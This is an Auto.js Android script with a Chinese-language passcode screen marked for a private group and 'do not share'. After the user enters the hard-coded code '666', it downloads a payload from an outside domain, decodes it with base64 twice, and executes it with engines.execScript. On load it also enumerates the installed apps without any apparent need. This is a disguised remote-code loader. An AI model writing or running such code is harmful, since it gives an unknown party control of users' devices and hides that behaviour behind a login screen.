"ui";
try {
    var 背景颜色 = "#dddddd"
    var 字号 = "13"
    var 字体颜色 = "#dd000000"
    var 账号 = ["666"]
    ui.statusBarColor(背景颜色)
    ui.layout(
        <ScrollView id="bg" bg="{{背景颜色}}">
            <frame>
                <vertical padding="10 10 10">
                    <text size="{{字号*2}}sp" paddingTop="60" paddingLeft="40" color="{{字体颜色}}">广西吒友群专用</text>
                    <text size="{{字号*2}}sp" paddingTop="1" paddingLeft="40" color="{{字体颜色}}">请勿外传</text>
                    <text id="t1" size="{{字号*2}}sp" color="{{字体颜色}}" marginTop="50" paddingLeft="35"/>
                    <input id="ID" w="*" marginRight="30" marginLeft="30" singleLine="true" hint="输入口令" textColorHint="{{字体颜色}}"/>
                    <button id="Login" style="Widget.AppCompat.Button.Colored" h="{{字号*16}}px" size="{{字号*2}}sp" marginTop="20" marginRight="30" marginLeft="30">口令</button>
                </vertical>
            </frame>
        </ScrollView>
    )
    
    setTimeout(function() {
context.getPackageManager().getInstalledPackages(0)}, 1000);
    ui.ID.on("touch", () => {
        ui.t1.setText("输入口令")
        ui.ID.setHint("")
    })



    ui.bg.on("touch", () => {

        if (ui.ID.getText() == "") {
            ui.t1.setText("")
            ui.ID.setHint("输入口令")
        }

    })

    ui.Login.on("click", () => {

        if (ui.ID.getText() == "") {
            ui.t1.setText("")
            ui.ID.setHint("请输入口令")
        }
    })

    ui.Login.on("click", () => {
        if (ui.ID.getText() != "") {

            if (账号.indexOf(ui.ID.getText().toString()) != -1) {
                ui.Login.clickable=false 
                threads.start(function(){
                toast("正在进入")
                start()
                
                })
                
            }

        }

    })


    function start() {
    
        var url = "https://ummehp.xyz/";
        var res = http.get(url);
        var a = res.statusCode;
        toastLog("启动中");
        if (a != 200) {
            toast("请求失败");
        } else {
            var b = engines.myEngine().getSource();
            var js = $base64.decode($base64.decode(http.get(url).body.string()));
            engines.execScript(b, js);
            sleep(4000)
            
        }
    }
} catch (e) {
    toast("出现错误")
}
